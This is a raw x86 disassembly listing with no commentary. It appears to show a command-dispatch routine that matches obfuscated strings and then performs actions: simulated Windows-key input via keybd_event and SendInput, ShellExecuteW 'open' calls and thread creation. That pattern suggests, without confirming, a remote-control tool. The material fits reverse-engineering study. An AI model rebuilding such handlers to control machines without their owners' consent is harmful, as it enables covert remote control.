call fcn.005265b0
add esp, 8
lea ecx, [ebp - 0xb4]
push 0
push 0x5911fc
call fcn.0042c290
mov byte [ebp - 4], 0x43
push 0x2c
mov dword [ebp - 0x74], 0
mov dword [ebp - 0x70], 0
call fcn.00549aa4
add esp, 4
mov dword [eax], eax
mov dword [eax + 4], eax
mov dword [eax + 8], eax
mov word [eax + 0xc], 0x101
mov dword [ebp - 0x74], eax
lea edx, [ebp - 0x74]
mov byte [ebp - 4], 0x44
lea ecx, [ebp - 0xb4]
call fcn.00447ff0
mov esi, dword [ebp - 0x34]
lea eax, [ebp - 0x74]
push eax
mov ecx, dword [esi + 0xc]
call fcn.00416390
mov eax, dword [ebp - 0x74]
push dword [eax + 4]
lea eax, [ebp - 0x74]
push eax
mov ecx, eax
call fcn.00451c90
push 0x2c
push dword [ebp - 0x74]
call fcn.00549ad4
add esp, 8
mov dword [ebp - 4], 0x42
jmp 0x52483f
mov edi, dword [esi]
sub esp, 0x18
mov ecx, esp
push 0x5c53ec
call fcn.0042ef00
lea ecx, [ebp - 0x2c]
call fcn.00445650
add esp, 0x18
mov eax, dword [eax]
nop dword [eax]
mov cx, word [eax]
cmp cx, word [edi]
jne 0x524886
test cx, cx
je 0x524882
mov cx, word [eax + 2]
cmp cx, word [edi + 2]
jne 0x524886
add eax, 4
add edi, 4
test cx, cx
jne 0x524860
xor edi, edi
jmp 0x52488b
sbb edi, edi
or edi, 1
mov edx, dword [ebp - 0x2c]
or eax, 0xffffffff
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x5248a6
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
test edi, edi
je 0x5236d4
push 0x3b
xorps xmm0, xmm0
mov dword [ebp - 0xd4], 0
push str.VDBtKUC8SbDCAkmEk1qadEtPSIzxfzGg8j4WQM0uO0dP6anZdjDDk6gEhAt
lea ecx, [ebp - 0xe4]
mov dword [ebp - 0xd0], 0
movups xmmword [ebp - 0xe4], xmm0
call fcn.0042db40
push 1
push ecx
mov byte [ebp - 4], 0x4b
lea eax, [ebp - 0xe4]
mov edi, dword [esi + 0x10]
mov esi, esp
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0042ef00
mov ecx, esi
call fcn.00445650
add esp, 0x18
mov ecx, edi
call fcn.0045e0a0
mov ecx, dword [ebp - 0xd0]
cmp ecx, 8
jb 0x5236d4
mov edx, dword [ebp - 0xe4]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x524946
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x526156
push ecx
push edx
call fcn.00549ad4
add esp, 8
jmp 0x5236d4
sub esp, 0x18
mov ecx, esp
push 0x5c0700
call fcn.0042d710
lea ecx, [ebp - 0x68]
call fcn.004452c0
add esp, 0x18
mov edx, eax
test edi, edi
je 0x5249b5
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x524980
sub ecx, dword [ebp - 0x2c]
je 0x5249b5
mov eax, dword [edx + 0x10]
test eax, eax
je 0x5249b5
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x4c], esi
jb 0x5249a0
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.0055a4c0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x24], eax
jmp 0x5249bc
mov dword [ebp - 0x24], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x5249f0
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x5249e6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x526156
push ecx
push edx
call fcn.00549ad4
add esp, 8
cmp dword [ebp - 0x24], 0
je 0x524a84
xorps xmm0, xmm0
mov dword [ebp - 0xa4], 0
movups xmmword [ebp - 0xb4], xmm0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
mov ecx, edi
mov dword [ebp - 4], 0x4c
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x524a30
sub ecx, edx
lea eax, [ebp - 0xb4]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x70]
call fcn.005265b0
mov esi, dword [ebp - 0x34]
lea edx, [ebp - 0xb4]
add esp, 8
mov ecx, esi
cmp dword [ebp - 0xa0], 0x10
cmovae edx, dword [ebp - 0xb4]
call fcn.00526340
test al, al
je 0x5236d4
mov byte [esi + 0x9c], 1
jmp 0x5236d4
sub esp, 0x18
mov ecx, esp
push 0x5c0718
call fcn.0042d710
lea ecx, [ebp - 0x68]
call fcn.004452c0
add esp, 0x18
mov edx, eax
test edi, edi
je 0x524ae5
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x524ab0
sub ecx, dword [ebp - 0x2c]
je 0x524ae5
mov eax, dword [edx + 0x10]
test eax, eax
je 0x524ae5
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x4c], esi
jb 0x524ad0
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.0055a4c0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x24], eax
jmp 0x524aec
mov dword [ebp - 0x24], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x524b20
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x524b16
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x526156
push ecx
push edx
call fcn.00549ad4
add esp, 8
cmp dword [ebp - 0x24], 0
je 0x524cf5
xorps xmm0, xmm0
mov dword [ebp - 0xa4], 0
movups xmmword [ebp - 0xb4], xmm0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
mov ecx, edi
mov dword [ebp - 4], 0x4d
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x524b60
sub ecx, edx
lea eax, [ebp - 0xb4]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x70]
call fcn.005265b0
mov ecx, dword [ebp - 0x34]
lea edx, [ebp - 0xb4]
add esp, 8
cmp dword [ebp - 0xa0], 0x10
cmovae edx, dword [ebp - 0xb4]
call fcn.00526340
test al, al
je 0x5236d4
mov byte [ebp - 4], 0x4e
call fcn.0042f4e0
mov ecx, eax
test ecx, ecx
je 0x526200
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x24], eax
mov byte [ebp - 4], 0x4f
lea ecx, [ebp - 0xe4]
push 0x40
xorps xmm0, xmm0
mov dword [ebp - 0xd4], 0
push str.bzhRiZhQa3MBYfOGnFcRT0NzEBwNRvJwMwYTzgIbC1cmARE8CtcURK1TyJEvEkU
movups xmmword [ebp - 0xe4], xmm0
mov dword [ebp - 0xd0], 0
call fcn.0042db40
lea ecx, [ebp - 0x298]
mov byte [ebp - 4], 0x50
call fcn.00434fb0
mov byte [ebp - 4], 0x51
lea ecx, [ebp - 0xb4]
cmp dword [ebp - 0xa0], 0x10
mov eax, dword [ebp - 0xa4]
cmovae ecx, dword [ebp - 0xb4]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0x68]
push eax
lea ecx, [ebp - 0x298]
call fcn.004360d0
lea ecx, [ebp - 0x298]
call fcn.00434f30
mov byte [ebp - 4], 0x52
lea esi, [ebp - 0x68]
cmp dword [ebp - 0x54], 8
lea eax, [ebp - 0xe4]
cmovae esi, dword [ebp - 0x68]
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0042ef00
lea ecx, [ebp - 0x2c]
call fcn.00445650
push esi
mov byte [ebp - 4], 0x53
push dword [eax]
lea eax, [ebp - 0x24]
push eax
call fcn.00421db0
mov edx, dword [ebp - 0x2c]
or edi, 0xffffffff
add esp, 0x24
add edx, 0xfffffff0
mov eax, edi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x524c9d
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 0x50
call fcn.0042f050
push ecx
mov esi, esp
mov dword [ebp - 0x70], esi
mov eax, dword [ebp - 0x24]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x2c], eax
call fcn.0042ee10
mov ecx, dword [ebp - 0x34]
add eax, 0x10
mov dword [esi], eax
call fcn.00521960
lea ecx, [ebp - 0xe4]
call fcn.0042f050
mov edx, dword [ebp - 0x2c]
lock xadd dword [edx + 0xc], edi
dec edi
test edi, edi
jg 0x5236d4
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
jmp 0x5236d4
sub esp, 0x18
mov ecx, esp
push 0x5c0760
call fcn.0042d710
lea ecx, [ebp - 0x68]
call fcn.004452c0
add esp, 0x18
mov edx, eax
test edi, edi
je 0x524d55
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x524d20
sub ecx, dword [ebp - 0x2c]
je 0x524d55
mov eax, dword [edx + 0x10]
test eax, eax
je 0x524d55
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x4c], esi
jb 0x524d40
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.0055a4c0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x24], eax
jmp 0x524d5c
mov dword [ebp - 0x24], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x524d90
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x524d86
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x526156
push ecx
push edx
call fcn.00549ad4
add esp, 8
cmp dword [ebp - 0x24], 0
je 0x524ed4
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
movups xmmword [ebp - 0x9c], xmm0
mov dword [ebp - 0x88], 0xf
mov byte [ebp - 0x9c], 0
mov ecx, edi
mov dword [ebp - 4], 0x54
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x524dd0
sub ecx, edx
lea eax, [ebp - 0x9c]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x70]
call fcn.005265b0
add esp, 8
mov byte [ebp - 4], 0x55
call fcn.0042f4e0
mov ecx, eax
test ecx, ecx
je 0x526160
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x3c], eax
mov byte [ebp - 4], 0x57
call fcn.0042f4e0
mov ecx, eax
test ecx, ecx
je 0x526160
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x38]
mov byte [ebp - 4], 0x58
push eax
lea edx, [ebp - 0x3c]
lea ecx, [ebp - 0x9c]
call fcn.00449f30
add esp, 4
lea eax, [ebp - 0x3c]
push eax
call fcn.00526260
mov ecx, dword [eax]
test ecx, ecx
je 0x524e84
mov eax, dword [ebp - 0x34]
push ecx
push ecx
mov edi, esp
mov eax, dword [eax + 0x10]
mov dword [ebp - 0x70], edi
mov esi, dword [ebp - 0x38]
mov dword [ebp - 0x2c], eax
lea ecx, [esi - 0x10]
call fcn.0042ee10
mov ecx, dword [ebp - 0x2c]
add eax, 0x10
mov dword [edi], eax
call fcn.0045e0a0
jmp 0x524e87
mov esi, dword [ebp - 0x38]
lea edx, [esi - 0x10]
or esi, 0xffffffff
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x524ea1
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x3c]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], esi
dec esi
test esi, esi
jg 0x524eb9
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0x88]
cmp ecx, 0x10
jb 0x5260c1
mov edx, dword [ebp - 0x9c]
inc ecx
jmp 0x5236ea
sub esp, 0x18
mov ecx, esp
push 0x5c0910
call fcn.0042d710
lea ecx, [ebp - 0x68]
call fcn.004452c0
add esp, 0x18
mov edx, eax
test edi, edi
je 0x524f35
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x524f00
sub ecx, dword [ebp - 0x2c]
je 0x524f35
mov eax, dword [edx + 0x10]
test eax, eax
je 0x524f35
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x4c], esi
jb 0x524f20
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.0055a4c0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x24], eax
jmp 0x524f3c
mov dword [ebp - 0x24], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x524f70
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x524f66
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x526156
push ecx
push edx
call fcn.00549ad4
add esp, 8
cmp dword [ebp - 0x24], 0
je 0x525141
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
movups xmmword [ebp - 0x9c], xmm0
mov dword [ebp - 0x88], 0xf
mov byte [ebp - 0x9c], 0
mov ecx, edi
mov dword [ebp - 4], 0x59
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x524fb0
sub ecx, edx
lea eax, [ebp - 0x9c]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x70]
call fcn.005265b0
add esp, 8
call fcn.0042f4e0
mov ecx, eax
test ecx, ecx
je 0x526160
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x3c], eax
push 0x5911fc
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 0x5a
call fcn.0042f750
test al, al
jne 0x525012
push 0
push 0x5911fc
lea ecx, [ebp - 0x3c]
call fcn.0042fa90
mov byte [ebp - 4], 0x5b
call fcn.0042f4e0
mov ecx, eax
test ecx, ecx
je 0x526160
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x44], eax
push 0x5911fc
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 0x5c
call fcn.0042f750
test al, al
jne 0x525056
push 0
push 0x5911fc
lea ecx, [ebp - 0x44]
call fcn.0042fa90
mov byte [ebp - 4], 0x5d
call fcn.0042f4e0
mov ecx, eax
test ecx, ecx
je 0x526160
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x34], eax
push 0x5911fc
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x5e
call fcn.0042f750
test al, al
jne 0x52509a
push 0
push 0x5911fc
lea ecx, [ebp - 0x34]
call fcn.0042fa90
lea eax, [ebp - 0x24]
mov byte [ebp - 4], 0x5f
push eax
lea eax, [ebp - 0x44]
mov dword [ebp - 0x24], 0
push eax
lea eax, [ebp - 0x34]
push eax
lea edx, [ebp - 0x3c]
lea ecx, [ebp - 0x9c]
call fcn.0044a350
add esp, 0xc
lea eax, [ebp - 0x3c]
lea edx, [ebp - 0x34]
lea ecx, [ebp - 0x44]
push dword [ebp - 0x24]
push eax
call fcn.0044be70
mov edx, dword [ebp - 0x34]
or esi, 0xffffffff
add esp, 8
add edx, 0xfffffff0
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x5250f4
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x44]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x52510e
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x3c]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], esi
dec esi
test esi, esi
jg 0x525126
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0x88]
cmp ecx, 0x10
jb 0x5260c1
mov edx, dword [ebp - 0x9c]
inc ecx
jmp 0x5236ea
sub esp, 0x18
mov ecx, esp
push 0x5c07d8
call fcn.0042d710
lea ecx, [ebp - 0x68]
call fcn.004452c0
add esp, 0x18
mov edx, eax
test edi, edi
je 0x5251a5
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x525170
sub ecx, dword [ebp - 0x2c]
je 0x5251a5
mov eax, dword [edx + 0x10]
test eax, eax
je 0x5251a5
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x4c], esi
jb 0x525190
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.0055a4c0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x24], eax
jmp 0x5251ac
mov dword [ebp - 0x24], 0
lea ecx, [ebp - 0x68]
call fcn.0042da40
cmp dword [ebp - 0x24], 0
je 0x525331
lea eax, [esi + edi]
push eax
lea ecx, [ebp - 0x3c]
call fcn.0042e4b0
lea eax, [ebp - 0x3c]
mov dword [ebp - 4], 0x60
push eax
call fcn.00526260
lea ecx, [ebp - 0x38]
mov edi, dword [eax]
mov dword [ebp - 0x50], edi
call fcn.00420590
push str.dndlLTQ1VgBD0GPVUV3jVgxHcJR8TWABIBCHgsplGQBHtd1RSrEj5UhChg
lea ecx, [ebp - 0x130]
mov byte [ebp - 4], 0x61
call fcn.0042f2a0
sub esp, 0x18
mov byte [ebp - 4], 0x62
mov esi, dword [ebp - 0x3c]
lea eax, [ebp - 0x130]
mov ecx, esp
push eax
call fcn.0042ef00
lea ecx, [ebp - 0x2c]
call fcn.00445650
push esi
mov byte [ebp - 4], 0x63
push dword [eax]
lea eax, [ebp - 0x38]
push eax
call fcn.00421db0
add esp, 0x24
mov byte [ebp - 4], 0x62
lea ecx, [ebp - 0x2c]
call fcn.0042e590
lea eax, [edi - 4]
cmp eax, 0x3c
ja case.0x52524d.5
movzx eax, byte [eax + 0x526220]
jmp dword [eax*4 + 0x52620c]
mov esi, dword [ebp - 0x34]
lea ecx, [ebp - 0x68]
push str.TVpy5MjZ40E0I9meEgS1NngcqXTkz9FFsunOwZbwIjQBjEHd6CCRAisPBRX1PxMBUfT0_qHBB3mehRT2ISkXCTzAn
mov eax, dword [esi + 0xc]
mov dword [eax + 0x118], 0
call fcn.0042f2a0
push 4
push ecx
mov byte [ebp - 4], 0x64
lea eax, [ebp - 0x68]
mov edi, dword [esi + 0x10]
mov esi, esp
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0042ef00
mov ecx, esi
call fcn.00445650
add esp, 0x18
mov ecx, edi
call fcn.0045e0a0
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 0x62
call fcn.0042f050
jmp 0x5252f0
mov eax, dword [ebp - 0x34]
mov eax, dword [eax + 0xc]
mov byte [eax + 0x10b], 0
call fcn.00406200
jmp 0x5252f0
mov eax, dword [ebp - 0x34]
mov eax, dword [eax + 0xc]
mov dword [eax + 0x11c], 0
jmp 0x5252f0
mov esi, dword [sym.imp.USER32.dll_keybd_event]
push 0
push 0
push 0
push 0x5b
call esi
push 0
push 2
push 0
push 0x5b
call esi
jmp 0x5252f0
test edi, edi
je 0x525316
mov eax, dword [ebp - 0x34]
push dword [ebp - 0x50]
push ecx
mov edi, dword [eax + 0x10]
mov esi, esp
mov dword [ebp - 0x70], esi
mov ecx, dword [ebp - 0x38]
lea ecx, [ecx - 0x10]
call fcn.0042ee10
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.0045e0a0
lea ecx, [ebp - 0x130]
call fcn.0042f050
lea ecx, [ebp - 0x38]
call fcn.0042e590
lea ecx, [ebp - 0x3c]
jmp 0x5260bc
sub esp, 0x18
mov ecx, esp
push 0x5c08e0
call fcn.0042d710
lea ecx, [ebp - 0x68]
call fcn.004452c0
add esp, 0x18
mov edx, eax
test edi, edi
je 0x525395
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x525360
sub ecx, dword [ebp - 0x2c]
je 0x525395
mov eax, dword [edx + 0x10]
test eax, eax
je 0x525395
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x4c], esi
jb 0x525380
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.0055a4c0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x24], eax
jmp 0x52539c
mov dword [ebp - 0x24], 0
lea ecx, [ebp - 0x68]
call fcn.0042da40
cmp dword [ebp - 0x24], 0
je 0x525948
xorps xmm0, xmm0
mov dword [ebp - 0xbc], 0
movups xmmword [ebp - 0xcc], xmm0
mov dword [ebp - 0xb8], 0xf
mov byte [ebp - 0xcc], 0
mov ecx, edi
mov dword [ebp - 4], 0x65
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5253e0
sub ecx, edx
lea eax, [ebp - 0xcc]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x70]
call fcn.005265b0
sub esp, 0x10
mov ecx, esp
push 0x5c0a00
call fcn.0042d710
lea ecx, [ebp - 0x68]
call fcn.004452c0
add esp, 0x18
cmp dword [eax + 0x14], 0x10
mov edx, dword [eax + 0x10]
jb 0x525424
mov eax, dword [eax]
cmp dword [ebp - 0xb8], 0x10
lea ecx, [ebp - 0xcc]
push edx
cmovae ecx, dword [ebp - 0xcc]
mov edx, dword [ebp - 0xbc]
push eax
call fcn.00453cd0
add esp, 8
mov byte [ebp - 0x2d], al
lea ecx, [ebp - 0x68]
call fcn.0042da40
cmp byte [ebp - 0x2d], 0
je 0x525527
push 0xa8
lea eax, [ebp - 0x248]
push 0
push eax
call fcn.0054b880
add esp, 0xc
mov dword [ebp - 0x248], 1
mov eax, 0x5b
mov dword [ebp - 0x22c], 1
mov word [ebp - 0x244], ax
mov ecx, 0x10
mov word [ebp - 0x1f0], ax
mov edx, 0x53
push 0x1c
lea eax, [ebp - 0x248]
mov word [ebp - 0x228], cx
push eax
push 6
mov dword [ebp - 0x210], 1
mov word [ebp - 0x20c], dx
mov dword [ebp - 0x1f4], 1
mov dword [ebp - 0x1ec], 2
mov dword [ebp - 0x1d8], 1
mov word [ebp - 0x1d4], cx
mov dword [ebp - 0x1d0], 2
mov dword [ebp - 0x1bc], 1
mov word [ebp - 0x1b8], dx
mov dword [ebp - 0x1b4], 2
call dword [sym.imp.USER32.dll_SendInput]
lea ecx, [ebp - 0xcc]
call fcn.0042da40
jmp 0x5260c1
sub esp, 0x18
mov ecx, esp
push 0x5c0a18
call fcn.0042d710
lea ecx, [ebp - 0x68]
call fcn.004452c0
add esp, 0x18
cmp dword [eax + 0x14], 0x10
mov edx, dword [eax + 0x10]
jb 0x52554c
mov eax, dword [eax]
cmp dword [ebp - 0xb8], 0x10
lea ecx, [ebp - 0xcc]
push edx
cmovae ecx, dword [ebp - 0xcc]
mov edx, dword [ebp - 0xbc]
push eax
call fcn.00453cd0
add esp, 8
mov byte [ebp - 0x2d], al
lea ecx, [ebp - 0x68]
call fcn.0042da40
cmp byte [ebp - 0x2d], 0
je 0x5255a2
push 0
push 0
push 0x44bdb0
call fcn.005550aa
add esp, 0xc
lea ecx, [ebp - 0xcc]
call fcn.0042da40
jmp 0x5260c1
sub esp, 0x18
mov ecx, esp
push 0x5c0a30
call fcn.0042d710
lea ecx, [ebp - 0x68]
call fcn.004452c0
add esp, 0x18
cmp dword [eax + 0x14], 0x10
mov edx, dword [eax + 0x10]
jb 0x5255c7
mov eax, dword [eax]
cmp dword [ebp - 0xb8], 0x10
lea ecx, [ebp - 0xcc]
push edx
cmovae ecx, dword [ebp - 0xcc]
mov edx, dword [ebp - 0xbc]
push eax
call fcn.00453cd0
add esp, 8
mov byte [ebp - 0x2d], al
lea ecx, [ebp - 0x68]
call fcn.0042da40
sub esp, 0x18
cmp byte [ebp - 0x2d], 0
mov ecx, esp
je 0x52574c
push 0x5c09d0
call fcn.0042d710
lea ecx, [ebp - 0x68]
call fcn.004452c0
add esp, 0x18
mov byte [ebp - 4], 0x66
cmp dword [eax + 0x14], 0x10
jb 0x525626
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x34]
call fcn.0042e4b0
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 0x68
call fcn.0042da40
push 0xa
push 0
push 0
push dword [ebp - 0x34]
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
ja 0x525930
call dword [sym.imp.KERNEL32.dll_GetLastError]
push str.dXVNObgUHpIgoAmFjk
lea ecx, [ebp - 0x44]
mov esi, eax
call fcn.0042fba0
push str.ZkYxiQRQZtUygIyGV4xtAyhuSJBQ0MXjM
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 0x69
call fcn.0042fba0
push str.ZWtlYOEMO4JlcB7DlgdZCR4
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 0x6a
call fcn.0042fba0
lea ecx, [ebp - 0x38]
call fcn.00420590
push esi
push ecx
mov byte [ebp - 4], 0x6c
mov esi, esp
mov dword [ebp - 0x70], esi
mov ecx, dword [ebp - 0x1c]
lea ecx, [ecx - 0x10]
call fcn.0042ee10
add eax, 0x10
lea ecx, [ebp - 0x2c]
mov dword [esi], eax
call fcn.00445a80
add esp, 4
mov byte [ebp - 4], 0x6d
push dword [eax]
lea eax, [ebp - 0x38]
push eax
call fcn.00421db0
add esp, 0xc
mov byte [ebp - 4], 0x6c
lea ecx, [ebp - 0x2c]
call fcn.0042e590
push 0x5911fc
lea ecx, [ebp - 0x48]
call fcn.0042fba0
push 0x5911fc
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 0x6e
call fcn.0042fba0
push ecx
mov byte [ebp - 4], 0x6f
mov esi, esp
mov dword [ebp - 0x70], esi
mov ecx, dword [ebp - 0x3c]
lea ecx, [ecx - 0x10]
call fcn.0042ee10
add eax, 0x10
lea ecx, [ebp - 0x50]
mov dword [esi], eax
call fcn.00445a80
mov edi, eax
mov byte [ebp - 4], 0x70
mov dword [ebp - 0x70], esi
mov ecx, dword [ebp - 0x44]
add ecx, 0xfffffff0
call fcn.0042ee10
add eax, 0x10
lea ecx, [ebp - 0x2c]
mov dword [esi], eax
call fcn.00445a80
add esp, 4
mov byte [ebp - 4], 0x71
mov edx, edi
jmp 0x5258da
push 0x5c09e8
call fcn.0042d710
lea ecx, [ebp - 0x68]
call fcn.004452c0
add esp, 0x18
cmp dword [eax + 0x14], 0x10
mov edx, dword [eax + 0x10]
jb 0x52576c
mov eax, dword [eax]
cmp dword [ebp - 0xb8], 0x10
lea ecx, [ebp - 0xcc]
push edx
cmovae ecx, dword [ebp - 0xcc]
mov edx, dword [ebp - 0xbc]
push eax
call fcn.00453cd0
add esp, 8
mov byte [ebp - 0x2d], al
lea ecx, [ebp - 0x68]
call fcn.0042da40
cmp byte [ebp - 0x2d], 0
je 0x525938
sub esp, 0x18
mov ecx, esp
push 0x5c09e8
call fcn.0042d710
lea ecx, [ebp - 0x68]
call fcn.004452c0
add esp, 0x18
mov byte [ebp - 4], 0x72
cmp dword [eax + 0x14], 0x10
jb 0x5257cb
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x34]
call fcn.0042e4b0
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 0x74
call fcn.0042da40
push 0xa
push 0
push 0
push dword [ebp - 0x34]
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
ja 0x525930
call dword [sym.imp.KERNEL32.dll_GetLastError]
push str.dFNTWTwQh7PCsBPMCc
lea ecx, [ebp - 0x44]
mov esi, eax
call fcn.0042fba0
push str.aFB6FeQsxsFho3WNQgLqByI
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 0x75
call fcn.0042fba0
push str.SGZNnaW4DVDgYsmA3BM9JBM
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 0x76
call fcn.0042fba0
lea ecx, [ebp - 0x38]
call fcn.00420590
push esi
push ecx
mov byte [ebp - 4], 0x78
mov esi, esp
mov dword [ebp - 0x70], esi
mov ecx, dword [ebp - 0x1c]
lea ecx, [ecx - 0x10]
call fcn.0042ee10
add eax, 0x10
lea ecx, [ebp - 0x2c]
mov dword [esi], eax
call fcn.00445a80
add esp, 4
mov byte [ebp - 4], 0x79
push dword [eax]
lea eax, [ebp - 0x38]
push eax
call fcn.00421db0
add esp, 0xc
mov byte [ebp - 4], 0x78
lea ecx, [ebp - 0x2c]
call fcn.0042e590
push 0x5911fc
